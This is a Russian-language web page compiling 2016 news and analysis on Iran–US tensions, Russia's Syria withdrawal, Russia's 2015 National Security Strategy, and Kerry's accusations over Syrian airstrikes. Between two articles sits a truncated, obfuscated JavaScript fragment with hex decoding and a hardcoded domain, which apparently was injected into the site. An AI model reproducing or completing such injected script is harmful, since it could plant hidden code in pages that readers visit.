Рубрика: США

С момента подписания соглашения по иранской ядерной программе отношения между Вашингтоном и Тегераном не улучшились, пишет Кристоф Айяд в статье, напечатанной в газете Le Monde.

После того, как перемирие на севере Сирии было продлено до полуночи 10 мая, Тегеран объявил о своих самых серьезных потерях — 13 военных советников — со дня начала сирийского конфликта, в котором Иран выступает на стороне Башара Асада. Тегеран выступил с осуждением нарушения прекращения огня в рамках перемирия, поддерживаемого Москвой и Вашингтоном. Эти потери демонстрируют масштабы участия Ирана в сирийском конфликте. Вместе с тем, Али Акбар Велаяти, дипломатический советник верховного духовного лидера Ирана Али Хаменеи, встретился в субботу с Башаром Асадом и заверил его в том, что ИРИ будет использовать все имеющиеся средства в борьбе с террористами. «Иранские лидеры все меньше скрывают свое раздражение тем, что они воспринимают как совместное исключительное управление сирийским кризисом со стороны России и Соединенных Штатов. Москва, другой сильный союзник сирийского режима, кажется, действительно больше дорожит своим перманентным диалогом с Вашингтоном, нежели своим альянсом в Сирии с Тегераном», — пишет корреспондент.

Раздражение Тегерана проявляется и в яростных антиамериканских заявлениях. 5 мая Али Хаменеи обвинил США в проведении антишиитской политики. Президент Хасан Рухани в тот же день выступил со своей самой антиамериканской речью с момента своего избрания в 2013 году и подписания в июле 2015 года соглашения по ИЯП. После вступления в силу этого соглашения отношения между Ираном и США вовсе не улучшились. Напротив, сохранение американских санкций в отношении иранских банков и решение американского суда использовать 2 млрд долларов, находящихся на замороженных иранских счетах, в качестве компенсаций семьям жертв теракта против американских военных в Бейруте в 1980 году, были восприняты как враждебные. Тегеран в лучших традициях прошлого заявил о готовности закрыть Ормузский пролив, через который перевозится треть всей мировой нефти, в ответ на американское военное присутствие в Персидском заливе. Не способствуют укреплению отношений и высказывания советника Барака Обамы Бена Родса о том, что секретные переговоры между Вашингтоном и Тегераном ведутся с лета 2012 года. Это потенциально дискредитирующие сведения как для американского президента, так и для верховного иранского лидера, который продолжает позиционировать себя как главного врага американского «большого Сатаны», пишет корреспондент.
10 мая 2016 г.

Кристоф Айяд |

Источник: Le Monde

Вывод российской группировки из Сирии, ставший приятной неожиданностью для США и противников Башара Асада, может отвернуть от Москвы Дамаск, Тегеран и «Хезболлу». Пентагон призывает не торопить события, а госсекретарь США Джон Керри – воспользоваться выпавшим шансом и положить конец войне в Сирии. Однако завершение кампании может не только способствовать мирным переговорам, но и обернуться распадом Сирии.

Джон Керри посетит Москву на следующей неделе, и сирийская тема станет центральной в повестке дня. Дипломаты обсудят и другие аспекты ситуации на Ближнем Востоке и в Северной Африке с учетом расползания «Исламского государства» (ИГ, запрещенная в России террористическая группировка. – «НГ»), заявил вчера глава МИД РФ Сергей Лавров.

По словам представителя Госдепа Джона Кирби, цель поездки его шефа – «поиск путей для продвижения политического процесса в Сирии». Сам Керри в Twitter написал, что через пять лет после начала гражданской войны в Сирии появилась реальная возможность покончить с насилием, и этим моментом нужно воспользоваться. Решение о выводе российской группировки совпало с началом мирных переговоров между правительственной делегацией и оппозиционными группировками в Женеве, и теперь у повстанцев нет причин игнорировать консультации.

Однако военные США настороженно отнеслись к инициативе Владимира Путина о выводе группировки. Официальный представитель Пентагона Питер Кук заявил, что США будут «ждать, чтобы убедиться», действительно ли Путин искренен в своем решении, пишет Hill. Он добавил, что Пентагон зафиксировал продолжение авиаударов в Сирии после заявления президента РФ.

В свою очередь, Кирби заметил, что США «не знают, не понимают и не могут комментировать мотивы, побудившие главу России объявить о выводе ВКС». Но это решение является «потенциально обнадеживающим и позитивным знаком».

Как пишет Financial Times со ссылкой на высокопоставленный источник в европейских спецслужбах, Россия вывела войска, потому что ее план блицкрига провалился. Москва рассчитывала провести быструю военную кампанию и за несколько месяцев помочь Асаду вернуть контроль над территориями и ослабить повстанцев. Однако ожесточенное сопротивление оппозиции, напряженное противостояние с Турцией и перспектива того, что мировые цены на нефть останутся на уровне 40 долл. за баррель, больно ударили по России и сократили ее возможности.

Тем временем в Москву прибыл президент Израиля Реувен Ривлин с целью заручиться поддержкой России на Ближнем Востоке. Издание Walla со ссылкой на источники в руководстве Израиля пишет, что там пытаются понять, что заставило Москву вывести свой контингент. На вчерашней встрече с Путиным Ривлин выразил озабоченность в связи с укреплением позиций Ирана и «Хезболлы», создавших шиитскую ось в канун и после ухода российской группировки.

И здесь позиции России и Израиля, по мнению Тель-Авива, совпадают. «Русские не хотят допустить чрезмерного усиления Ирана, – уверен источник в окружении Ривлина. – Они также понимают, что укрепление позиций «Хезболлы» в Сирии плохо для всех». Израиль, формально сохраняя нейтральную позицию в Сирии, периодически наносит авиаудары, чтобы сорвать переброску оружия «Хезболлой».

Арабские СМИ сообщили, что после заявления Путина «Хезболла» якобы приступила к выводу отрядов из Сирии. Однако сама группировка назвала эти слухи нелепыми «проявлениями психологической войны» медиа, работающих по указке ближневосточных монархий.

Иран позитивно оценил вывод российских подразделений. «Тот факт, что в России объявили, что отзывают часть своих сил, указывает на то, что они не видят непосредственной необходимости прибегать к применению силы в поддержании режима прекращения огня, – заявил глава МИД Ирана Мохаммад Джавад Зариф, передает Press TV. – Это само по себе положительный шаг».

Однако в действительности Тегеран может придерживаться прямо противоположной позиции, утверждает Bloomberg. Вывод войск грозит охлаждением отношений между Россией и Ираном.

Старший научный сотрудник Института востоковедения РАН Владимир Сажин обратил внимание еще на один аспект. «Я бы не сказал, что наши отношения когда-либо были очень хорошими, чтобы ухудшились еще сильнее. И даже президент Хасан Рухани, который положительно относится к России и при котором наши связи углубились, признал, что у Москвы и Тегерана нет совпадения позиций по Сирии, – заявил он «НГ». – Иран не может потерять дружественное алавитское руководство в Сирии, а России по большому счету безразлично, кто будет новым руководителем – суннит, алавит, христианин, – главное, чтобы он понимал и оценивал реальные интересы России в регионе».

При этом эксперт напомнил о разногласиях в самом Тегеране. «Иран официально приветствовал решение России. Если же говорить о реальном положении, то в элите нет единого мнения о роли Ирана в Сирии и соответственно роли России в этой стране, – подчеркнул Сажин. – Внутриполитическая ситуация в Иране очень сложная: Корпус стражей иранской революции ратует за усиление Ирана в Сирии, так называемые реформаторы предлагают решать конфликт дипломатическим путем, третья группа предлагает воевать чужими руками и нанимать добровольцев, отправляя их в Сирию. За последние полтора года Иран понес колоссальные потери: погибли восемь генералов, что вызвало недовольство в Тегеране».

Для сирийских властей слова Путина тоже стали сюрпризом, заявили источники в правительстве в беседе с ливанской газетой As-Safir. Собеседники раскритиковали договоренности России и США, которые, по их словам, нивелировали давление на повстанцев.

Вывод войск может не только пошатнуть позиции Асада, но и расколоть Сирию. Курды, контролирующие север страны, готовятся объявить об автономии или хотя бы расширить рамки самоуправления и создать собственные органы исполнительной власти, передает Reuters. Курды объединят три автономных района в единую федеральную систему, и это уже крайне встревожило Анкару, которая опасается, что следующим шагом станет создание независимого Курдистана на территории Сирии, Ирака и Турции.

Евгений Медведев

17.03.16

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "turkishnews.com"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

На рубеже 2016 года Россия оказалась в однозначно кризисном положении: как в сфере экономики, так и безопасности. Экономический кризис проистекает из явлений, в значительной степени независимых от России (например, падение нефтяных цен) или явившихся следствием предыдущей политики Кремля и носящих глубоко системный характер (проблемы, проистекающие из принятой модели экономики). Что касается политического аспекта кризисной ситуации, он в значительной степени стал результатом осознанной политики Кремля. С весны 2014 года она заключалась в создании очередных внутренних кризисов и очагов напряженности. Это позволяло сохранять жесткий режим и укреплять позицию лидера страны, одновременно мешая другим международным игрокам организованно реагировать на «авантюрную» политику Москвы. Нужно отметить, что за два года питательная среда для такой политики оскудела, а общественное недовольство стало преодолевать тот уровень, на котором его может легко контролировать Кремль.

Однако российские власти не предпринимают реформ, которые бы помогли предотвратить экономические проблемы, а используют лишь временные средства. Представляется, что Кремль видит ключ к решению проблем за границей России — в международной политике. Так что единственным кризисным решением остается использование конфликта с Западом в разных тематических и географических сферах — в том числе для поддержания «патриотической» мобилизации в стране. Ведь ничто так не помогает режиму, как опасный враг (то есть США и НАТО), который ждет любой ошибки России, собственная «пятая колонна» (то есть реальная и воображаемая оппозиция) и, наконец, Война с большой «В», то есть регулярные военные действия за рубежом с привлечением «наших ребят» из сибирских деревень и московских спальных районов.

И вот в такой момент появляется новая Стратегия национальной безопасности — одна из нескольких основополагающих доктрин Российской Федерации. Верную оценку и трактовку положений СНБ можно дать, лишь поместив ее в вышеупомянутый политический контекст.

Конфронтация на бумаге

Согласно действующему законодательству, Стратегия национальной безопасности должна обновляться каждые шесть лет. Предыдущая версия действовала с мая 2009 года, когда ее утвердил занимавший президентский пост Дмитрий Медведев, и была рассчитана на период до 2020 года, что, впрочем, отражалось в названии документа. Разумеется, это никак не нарушало нормы о необходимости пересмотра документа как минимум раз в шесть лет. В новой Стратегии никакой «окончательной» даты уже нет. Она, как того требует закон, была подготовлена Советом безопасности РФ. Внимание обращает на себя тот факт, что президент подписал документ в последний день срока, предусмотренного на обновление Стратегии.

Важно не только то, что содержит в себе документ, но и почему он писался. Первые сигналы о работах над СНБ появились в феврале и марте 2015 года, после того как США обнародовали собственную Стратегию безопасности. В марте 2015 года Совет безопасности собрался, чтобы провести анализ американской доктрины. Основной вывод был таков, что документ имеет «антироссийский» характер, так как в нем постоянно упоминается «российская агрессия». У Москвы предсказуемо возникли претензии к американской интерпретации украинского кризиса. Члены СБ признали положения американской стратегии продвижением идеи «глобальной гегемонии» Вашингтона и «цветных революций», придя к выводу, что новую российскую стратегию следует создать по принципу «взаимности», однако не превращать в копию американского документа. Пресс-секретарь Кремля Дмитрий Песков объявил, что «все угрозы национальной безопасности России учитываются и прорабатываются. При необходимости будут вноситься изменения в основополагающие документы». Официально Владимир Путин отдал поручение переработать документ 3 июля 2015 года, сказав, что Россия должна внедрить системные средства, реагируя на меняющуюся ситуацию в мире. В октябре 2015 года пресс-служба Совета безопасности подтвердила, что комиссия по проблемам стратегического планирования пересмотрела стратегию. В декабре за несколько дней до подписания президентом, о готовности СНБ заявил секретарь Совбеза Николай Патрушев.

Стратегия была утверждена президентским указом №683 31 декабря 2015 года. Согласно закону, документ должен быть открытым и доступным для широкой общественности. 40-страничная Стратегия состоит из шести разделов: (I) Общие положения; (II) Современный мир и Россия; (III) Национальные интересы Российской Федерации и стратегические национальные приоритеты; (IV) Обеспечение национальной безопасности; (V) Организационные, нормативные, правовые и информационные основы реализации настоящей Стратегии; (VI) Основные различия между Стратегией и Концепцией национальной безопасности. Наиболее обширен четвертый раздел, который состоит из следующих подразделов: Национальная оборона; Государственная и общественная безопасность; Повышение качества жизни российских граждан; Экономический рост; Наука, технологии и образование; Здравоохранение; Культура; Экология живых систем и рациональное природопользование; Стратегическая стабильность и равноправное стратегическое партнерство.

Россия в мире

Первый раздел, описывающий место России в современном мире, состоит из пяти страниц. В нем представлен образ окруженной врагами страны, противостоящей агрессивным западным государствам, которым не нравится, что Москва ведет самостоятельную внешнюю политику. Из Стратегии следует, что Россия успешно с этим справляется, эффективно нейтрализуя, в частности, атаки на ее экономику. По мнению авторов документа, Россия продемонстрировала способность к обеспечению своих интересов, в том числе «к защите прав соотечественников за рубежом». Положения СНБ демонстрируют стремление России к определению своей глобальной позиции, при этом важным элементом становится противопоставление Западу.

Важное место занимают здесь вопросы лидерства и престижа. В документе звучит гордость за возрастающую роль России «в решении важнейших международных проблем». Одной из основополагающих долгосрочных целей называется обеспечение стране статуса мировой державы, в том числе в экономическом плане. В другом разделе, который посвящен экономическим вопросам, говорится, например о том, что Россия планирует войти в число лидеров по объему валового внутреннего продукта.

В новой Стратегии обращает на себя внимание также своего рода «splendid isolation», разумеется, понимаемая иначе, чем британский оригинал. Речь идет даже не об отношении к западному миру, а в целом о тенденции к акцентированию исключительности и одиночества России. Из приоритетов исчезло подчеркивание связей с другими постсоветскими странами. Как обратил внимание в беседе с «Голосом Америки» политолог Александр Коновалов, «в прошлой стратегии приоритет во внешней политике и в политике безопасности отдавался однозначно, прямо по тексту, сотрудничеству с ОДКБ, с некоторыми азиатскими странами, упоминалась ШОС. В этот раз я не обнаружил упоминаний о приоритетности сотрудничества с государствами ОДКБ, того самого широко разрекламированного поворота на Восток». Хотя, конечно, перечисленные организации в тексте упоминаются, их значение отчетливо снижается. Это может указывать на отход от так четко артикулировавшегося в начале текущего президентского срока Путина переноса геостратегических российских приоритетов в Азию.

В заключительных фрагментах Стратегии ставятся задачи по «повышению конкурентоспособности и международного престижа Российской Федерации», что можно интерпретировать как неудовлетворенность современным уровнем престижа. Документ обрисовывает  конкретные цели, достижение которых приведет к улучшению этого показателя. Россия намерена добиваться их, в частности, при помощи членства в международных организациях, механизмов международного права и других партнерских объединений. Особенное значение имеют региональные организации и двусторонние отношения с отдельными государствами: Китаем и Индией. Также не исключается сотрудничество с США и ЕС, но его ход зависит от того, будут ли они учитывать российские интересы.

Вот он, враг

Стратегия не оставляет никаких сомнений, что самая большая угроза для безопасности России — это НАТО, и требует от государственных властей противостоять ей, обеспечивая сплоченность общества и развивая обороноспособность. Документ описывает развитие сил некоторых стран Альянса, которое нарушает нормы международного права; активизацию военной деятельности НАТО; приближение его военной инфраструктуры к российским границам; экспансию, то есть стремление к привлечению новых членов (в декабре Москва крайне остро отреагировала на приглашение, которое НАТО направило черногорцам), а также создание системы противоракетной обороны. Разумеется, упоминаний о том, что развитие активности НАТО связано с российской агрессивной политикой, здесь нет. Не говорится и о том, что в Польше и странах Балтии натовские подразделения находятся на ротационной, а не на постоянной основе, а их численность значительно уступает численности российских войск, размещенных по противоположную сторону от границы. Россия, как это описывает Стратегия, опасается попытки придать НАТО глобальные функции.

Стратегия называет существующую на Старом континенте систему региональной безопасности, которая опирается на НАТО (и ЕС), пережитком блокового мышления, которое не отвечает современным реалиям и поэтому обречена на крах. Доказательством этого призваны служить проблемы с наплывом мигрантов с Ближнего Востока и из Африки. Авторы документа обвиняют Запад, олицетворением которого выступают ЕС и НАТО, в активном торпедировании интеграционных процессов на востоке континента и в Евразии в широком смысле. Пример такой угрожающей безопасности России активности – это конфликт на Украине, основной движущей силой которого выступал, разумеется, Запад.

Запад (и в первую очередь США) изображается как сторонник архаичного взгляда на мир, что проявляется в тиражировании стереотипов времен холодной войны и стремлении к глобальной гегемонии. Европа представлена в документе не как самостоятельный игрок, а как поле для соперничества Америки и России. Именно Соединенные Штаты выступают тем игроком, с которым приходится считаться Москве. Как следует из документа, Вашингтон — единственная сила, которая стоит практически за всеми внешними угрозами для России. Даже НАТО изображено как США плюс их союзники, а не союз как таковой. Стратегия гласит, что в контексте новых комплексных и взаимосвязанных между собой угроз для национальной безопасности Россия становится все сильнее. Стремление РФ к ведению самостоятельной внутренней политики ведет к ответным шагам США и их союзников, которые стараются сохранить доминирование в глобальной плоскости. Их политика сдерживания России приобретает форму давления  с использованием политических, экономических, военных и информационных инструментов. Стратегия гласит, что независимая внутренняя и внешняя политика России вызывала неприятие США и их союзников, которые стремятся сохранить доминирование в решении мировых вопросов. В адрес американцев звучат обвинения в развертывании системы противоракетной обороны, поддержке антиконституционного переворота на Украине и даже в том, что США развивают в соседствующих с Россией странах сеть лабораторий с биологическим оружием. Хотя это звучит как полный абсурд, даже такие тезисы следует принимать во внимание. В октябре 2015 года Николай Патрушев обвинил США в том, что они в 20 раз увеличили число лабораторий, занимающихся изготовлением биологического оружия. Возможно, Кремль начал верить в свою собственную пропаганду.

Однако РФ, несмотря на конфронтационный тон и обвинения, не сжигает всех мостов в отношениях с Западом. В одном из пунктов Стратегии говорится, что «Россия будет стремиться к выстраиванию равноправного и полноценного стратегического партнерства с Соединенными Штатами Америки на основе совпадающих интересов и с учетом ключевого влияния российско-американских отношений на состояние международной обстановки в целом. В качестве приоритетов останутся достижение новых договоренностей в сфере разоружения и контроля над вооружениями, укрепление мер доверия, а также решение вопросов нераспространения оружия массового уничтожения, наращивания антитеррористического сотрудничества, урегулирования региональных конфликтов». Между тем условия этого партнерства будет определять Москва, что ясно следует из пункта 17 (здесь характерно выдвижение на первый план отношений с США, это подтверждает, что Москва считает НАТО лишь продолжением Америки), где можно прочесть, что Россия «готова к развитию отношений с Организацией Североатлантического договора на основе равноправия и в интересах укрепления всеобщей безопасности в Евро-Атлантическом регионе, глубина и содержание которых будут определяться готовностью альянса к учету законных интересов России при осуществлении военно-политического планирования и уважению норм международного права».

Список угроз

Конечно, Америка и НАТО — это не единственные, хотя и основные угрозы. Стратегия упоминает целый спектр угроз, как общих, так и конкретных, актуальных для отдельных сегментов национальной безопасности России. Те, что касаются внешней политики, звучат знакомо. Они продолжают предыдущую стратегию от 2009 года и военную доктрину: это глобальная нестабильность, распространение конвенционального оружия и оружия массового уничтожения, информационные войны, коррупция, диверсии, различные трансграничные угрозы. Россия опасается элементов американской системы ПРО, стратегических вооружений в неядерном оснащении, глобальной системы противоракетной обороны и милитаризации космоса.

Появляется также указание на западное стремление к созданию очагов напряженности в Евразии (которые станут вызовом российским национальным интересам), свержению законных режимов, провоцированию внутренней нестабильности и конфликтов за границей.

В списке основных угроз присутствуют также коррупция и «цветные революции». Кроме того России угрожают радикальные общественные объединения, которые пользуются националистической, религиозной и экстремисткой идеологий, иностранные и международные неправительственные организации, а также отдельные граждане, чья деятельность направлена на нарушение единства и территориальной целостности Российской Федерации и дестабилизирует политические процессы.

Прочие перечисленные угрозы и опасения могут выглядеть новыми для официального документа, однако присутствуют в российской риторике не первый год. Это, например, западное участие в свержении украинского руководства или усиление «Исламского государства» в качестве вызова для российских национальных интересов. Украинский кризис стал фактором, который сильнее всего влиял на безопасность РФ с 2009 года. Стратегия  посвящает ему достаточно много места, обвиняя США и ЕС в поддержке антиконституционного путча. В документе также говорится, что Украина надолго станет источником нестабильности в Европе и у российских границ. Западные санкции описываются как частичная причина российских проблем, но, что примечательно, они никак не увязываются с украинской темой. Собственно, объяснения, откуда эти санкции взялись, нет. Это может наводить на мысль, что Кремль начинает верить в то, что он стал целью атаки, а не встретился с ответом на собственные действия.

Внутренние вопросы

Гораздо больше места по объему занимают в Стратегии не вышеперечисленные вопросы, связанные с международной ситуацией и активностью других государств, а внутренняя тематика. Хотя следует сразу отметить, что объем здесь — не признак важности. Дело скорее, в необходимости шире описать в Стратегии ситуацию в стране, поскольку два других основных документа, то есть военная доктрина и текст, очерчивающий стратегические направления внешней политики, по своей сути обращены к внешнеполитической сфере.

Новая Стратегия не говорит ничего особенно нового о национальной обороне. Основные положения похожи на те, что присутствовали в документе 2009 года. Как и тогда Стратегия уверяет, что Россия будет использовать вооруженные силы для защиты своей безопасности только в случае крайней необходимости, когда будут исчерпаны все прочие методы. Москва обещает не принимать участия в затратной гонке вооружений. Стратегия уделяет большое внимание повышению мобилизационного потенциала, говоря о необходимости развивать развернутые планы по повышению боеспособности страны. В контексте национальной обороны стратегия упоминает действующую военную доктрину (принятую 25 декабря 2014 года), как основу для российских целей и планов, и переходит к перечислению общенациональных шагов по обеспечению безопасности. В частности, здесь упоминается модернизация вооруженных сил.

В разделе IV, озаглавленном «Обеспечение национальной безопасности», самый пространный фрагмент (шесть страниц) посвящен теме экономического роста и полон впечатляющих планов развития. Среди прочих появляются такие цели, как устранение неравномерного развития регионов, достижение непрерывного роста и сбалансированности бюджета, повышение уровня экономической безопасности (с описанием механизмов, как можно этого добиться) и т.д. Авторы стратегии планируют привлечь иностранные инвестиции, развить высокотехнологичные секторы экономики, создать запасы минерально-сырьевых ресурсов и единую транспортную инфраструктуру, стимулировать рост малого и среднего предпринимательства. Россия планирует искать новых экономических партнеров, увеличивая самостоятельность разных секторов своей экономики (внимание привлекает здесь упоминание сельского хозяйства) частично путем рационального импортозамещения. Движущую силу для модернизации промышленности Россия продолжает видеть в ВПК, хотя, как обращают внимание авторы документа, это потребует больших изменений в этом секторе. Здесь новая Стратегия мало отличается от предыдущей, новый момент — это поиск отечественных аналогов для ослабевающего импорта. Чтение этой части Стратегии интересно в том плане, что местами в ней будто пробивается прежний дух либерализма, совершенно вытравленный в других фрагментах документа.

В новой стратегии обращает на себе внимание повышение значимости духовных вопросов. Культивирование национальных ценностей становится частью усилий по укреплению национального единства, которое выступает одним из факторов обеспечения национальной безопасности. Часто звучит новая формулировка «традиционные морально-нравственные ценности». Слова и словосочетания, связанные с духовностью, появляются в новом тексте 16 раз, в предыдущем — всего два. Среди ценностей, миссию защиты которых Стратегия возлагает на государство, присутствуют, в частности, превосходство духовного над материальным, служба Отечеству, гуманизм, справедливость, коллективизм, единство народов России, неразрывность исторической традиции. Предыдущие стратегические документы говорили о ценностях не настолько прямо и не так много. Новый документ подчеркивает их важность для процесса развития России, ее укрепления и защиты от засилья западных ценностей (которые могут распространяться посредством информационных кампаний) и низкосортной западной массовой культуры. Угрозы для российских ценностей идут как с Запада, так и со стороны террористов и экстремистов.

Почти в каждом разделе СНБ тем или иным образом подчеркивается значение информационного пространства. В документе 2009 года об усилении глобальных информационных военных действий уже говорилось, однако не столь детально. Новая Стратегия гласит, что власть предпринимает шаги по защите населения от разрушительного информационного влияния террористов, экстремистов, иностранных разведывательных агентств и отдельных организаций, борясь с пропагандой фашизма, экстремизма, терроризма и сепаратизма, а также угрозами для общественного спокойствия, социальной и политической стабильности общества. Согласно новой стратегии, руководство страны может контролировать информационную сферу для защиты культурного суверенитета от экспансии иностранных идеологических ценностей и разрушительного психо-информационного воздействия.

Адресаты документа

Секретарь Совета Безопасности Николай Патрушев подчеркивает важность Стратегии для процесса принятия решений в сфере безопасности и называет ее «одним из основных документов стратегического планирования» или обобщением других доктрин, а также долгосрочных правительственных планов в сфере обороны, внешней политики, оборонной промышленности, мобилизационной подготовки, экономического развития, сельского хозяйства, социальной стабильности, религиозной терпимости и т.д. Как это выглядит на самом деле?

СНБ — общедоступный документ, поэтому он наполнен ни к чему не обязывающими лозунгами, которые не сопровождаются конкретными предложениями по их воплощению в жизнь. Документ, призван, скорее, передать настрой руководства государства, чем выступать некой «дорожной картой». Вопрос в том, отражает ли Стратегия реальные настроения и взгляды, существующие в Кремле. СНБ — это, по сути, не документ, который описывает философию власти, а в большей степени способ передачи информации, которую российские лидеры стремятся донести до своих граждан и мира в качестве собственных. Это не значит, что документ выступает исключительно орудием дезинформации, адресованной за границу. Таковым он быть не может, потому что Стратегия обращена к двум совершенно разным адресатам: внутреннему и внешнему. Авторам СНБ пришлось искать баланс, чтобы достичь своих целей в отношении как внутренней, так и внешней аудитории. Чтение этого текста показывает, что самым главным адресатом стал сейчас для Кремля житель РФ, а не западные политики. В этом состоит ключевое отличие нового документа от Стратегии 2009 года, которая создавалась на волне «перезагрузки» и политики создания у Запада иллюзии, будто при президенте Медведеве Россия повернула к либерализации. Изоляционистские тенденции в политике и экономике, преувеличение исходящей с Запада угрозы и частые отсылки к традиционным российским ценностям призваны подготовить население к сохранению прежнего государственного курса и связанного с этим экономического кризиса, а также конфронтации с западным миром. Ряд обещаний, содержащихся в социально-экономической части, оторваны от реальности, как, например, утверждение, что экономика России показала свою способность укреплять потенциал в условиях нестабильности на мировых экономических рынках. Таких пропагандистских акцентов в документе гораздо больше, и они, несомненно, адресованы россиянам.

Но есть и другой адресат — заграница. Заслуживающие внимания фразы о сотрудничестве, обращены как к руководству западных стран, так и к общественности. Официальный документ играет тут роль, сходную с ролью российских СМИ: его задача — подпитывать чувство тревоги в ЕС (поэтому появляются слова о наплыве мигрантов), отвращать от сотрудничества с США, пугать масштабной войной с Россией и призывать выбрать альтернативный путь, то есть сближение с Москвой.

Второй документ

Спустя несколько часов после утверждения Стратегии национальной безопасности вступила в силу другая, гораздо более детальная доктрина — но уже секретная. Официальные источники сообщили,  однако, о ее основных тезисах. План обороны РФ на 2016-2020 годы называет угрозой безопасности расширение НАТО, обвиняет США и союзников в стремлении к доминированию на международной арене в ущерб ведущей самостоятельную политику России. Указ №560 о вступлении документа в силу с 1 января 2016 года подписал 16 ноября 2015 года Владимир Путин. Новый план обороны пришел на смену предыдущему документу, действовавшему с 2013 года, что было ожидаемо, поскольку уже в начале 2014 года в ситуации безопасности России произошли серьезные изменения (аннексия Крыма, появление прозападного правительства в Киеве, война в Донбассе, кризис в отношениях с Западом). Потом добавилась сирийская война, а точнее, участие в ней Москвы. Работы над документом велись в министерстве обороны с середины 2014 года. В октябре 2015 начальник Генштаба Валерий Герасимов объявил, что создающийся план обороны учтет новые формы борьбы Запада против России, в частности, «военные и не военные средства политического, экономического и информационного воздействия».

Детали нового плана (следует подчеркнуть, что это совершенно отдельный от военной доктрины документ) обнародованы не были. Однако о некоторых его элементах можно догадаться на основе высказываний и предпринятых на рубеже 2015-2016 годов решений военно-политического руководства РФ. 11 декабря на расширенном заседании коллегии Министерства обороны (с участием президента) министр Сергей Шойгу представил цели на 2016 год. В контексте нарастающей, по мнению Москвы, угрозы со стороны НАТО и США, внимание обращает на себя укрепление сил на западном, юго-западном и арктическом стратегических направлениях. Элементом ответа на американскую угрозу можно назвать постановку на боевое дежурство в ракетных войсках стратегического назначения пять полков, оснащенных современными ракетными комплексами (ядерный арсенал), а также запланированную модернизацию девяти стратегических бомбардировщиков (носителей ядерного оружия). 14 декабря состоялась встреча с иностранными военными атташе. Начальник Генштаба Валерий Герасимов представил свой взгляд на стратегическую позицию России. Новых тезисов не прозвучало. Москва считает, что международной системе безопасности угрожают терроризм и экстремизм, а ситуацию дополнительно осложняет «недружественное» отношение НАТО к России, продолжающееся расширение Альянса, а также активность иностранных военных сил вблизи российских границ. 12 января в ходе селекторного совещания с руководящим составом вооруженных сил министр Шойгу представил цели на текущий год. Уровень оснащенности современными вооружениями в 2016 году должен возрасти с 47 до 51%, приоритетами станут модернизация ядерной триады, продолжение внезапных проверок боеготовности, повышение уровня стратегической мобильности, совершенствование противоракетной обороны. Все это соответствует духу Стратегии национальной безопасности и указывает, что центром секретного плана обороны выступает военная конфронтация с США и НАТО. Это уже не предотвращение региональных проблем или «цветных революций», а потенциальный конфликт такого масштаба, к которому готовились все годы холодной войны.

Выводы

Анализ вышерассмотренных документов приводит к выводу, что Москва намерена продолжать эскалацию напряженности. Однако если взглянуть на российские военный потенциал и характер режима, представляющего собой, по сути, клептократию с ядерными ракетами, можно предположить, что несмотря на воинственный тон ядерная война с Россией миру не угрожает. Между тем подчинение всей политики задаче сохранения власти и идея, что добиться этого можно не сотрудничеством, а дальнейшей мобилизацией общества, а также усиление изоляционистских тенденций, вызывают беспокойство по поводу безопасности, в частности, стран Балтии, а в дальнейшей перспективе и Польши. Анализировать эту угрозу через призму сравнения военных потенциалов Запада и России неверно, поскольку Москва может рассматривать применение военного сценария, но лишь в том случае, если его результатом станет укрепление власти. Кремль может пойти на вооруженную конфронтацию, но только если это будет короткая и победоносная война. Высокий уровень боеготовности армии, авиации и флота РФ заставляет предполагать, что в случае углубления экономического кризиса Москва будет готова решиться на полномасштабную или ограниченную атаку не на НАТО в целом, но, например, на страны Балтии. Единственная стопроцентная гарантия от этого — постоянное присутствие американских сил в находящихся под угрозой странах. Ведь только один элемент Стратегии национальной безопасности РФ кажется истинным: страх Москвы перед США.

Цезарий Черневич — сотрудник варшавского Центра стратегического анализа (OAS).

http://inosmi.ru/politic/20160223/235504880.html

Госсекретарь США Джон Керри обвинил российские ВКС, которые проводят военную операцию в Сирии, в гибели женщин и детей. По словам Керри, у американцев есть «убедительные доказательства» того, что российская авиация использует бомбы свободного падения или неуправляемые бомбы без систем высокоточного наведения. В результате гибнут гражданские лица.

«Бомбы попадали в больницы, в гражданские кварталы. И были такие случаи, когда спасатели пытались забрать раненых после бомбардировок, бомбардировщики возвращались и убивали тех, кто спасал раненых. Это необходимо прекратить! Это не подлежит сомнению!» — цитирует CNN патетическое заявление Керри.

Как водится, помимо пафоса никаких доказательств своих слов Керри не привел. В то же время, международные организации, в том числе «Красный Крест» или «Врачи без границ», никак не подтверждают слова госсекретаря. Зато можно вспомнить, что в октябре 2015 года американские силы нанесли удар по госпиталю «Врачей без границ» в Афганистане, и тогда ни в фото-, ни в видеодоказательствах недостатка не было. Но военные принесли извинения, и инцидент был исчерпан. Официальный представитель Минобороны РФ Игорь Конашенков ранее говорил, что, несмотря на заявления западных политиков и военных о жертвах среди мирного населения Сирии, никаких конкретных доказательств так и не было представлено.

«Обращаю ваше внимание, что удары нашей авиагруппы в Сирии наносятся по объектам террористов только после подтверждения информации по нескольким каналам. В случае риска для жизни мирных граждан удары по таким целям не наносятся», — заявил Конашенков.

Несмотря на это, в последнее время обвинения российских ВКС в гибели мирных жителей участились. Помимо Керри генсек НАТО Йенс Столтенберг заявил, что российская операция «подрывает усилия по поискам политического решения конфликта». В том же духе высказался глава Пентагона Эштон Картер, который при этом поприветствовал новости о том, что Саудовская Аравия и Турция обсуждают проведение сухопутной операции в республике. Более того, европейцы также поддержали почин, а правительство Германии возложило ответственность за прекращение огня именно на Россию.

Несложно проследить связь между громкими обвинениями и успехами, которые сирийская армия при поддержке российских ВКС демонстрирует в последнее время. Напомним, что на этой неделе правительственным силам при поддержке группировки «Хезболла» удалось прорвать длившуюся почти три года блокаду шиитских городов Нубель и аз-Захра возле Алеппо. Также был захвачен ряд других населенных пунктов.

На фоне этих успехов были даже приостановлены переговоры по сирийскому урегулированию в Женеве. Успешные операции сирийской армии, якобы, приводят к эскалации ситуации. Джон Керри в своей речи также сказал о том, что действия России нарушают резолюцию СБ ООН о прекращении огня в Сирии и потребовал прекращения операции. «Россияне выдвинули некоторые конструктивные инициативы, касающиеся того, как огонь в Сирии может быть прекращен. Но если это только слова ради слов для того, чтобы продолжать бомбардировки, никто этого не примет», — заявил он.

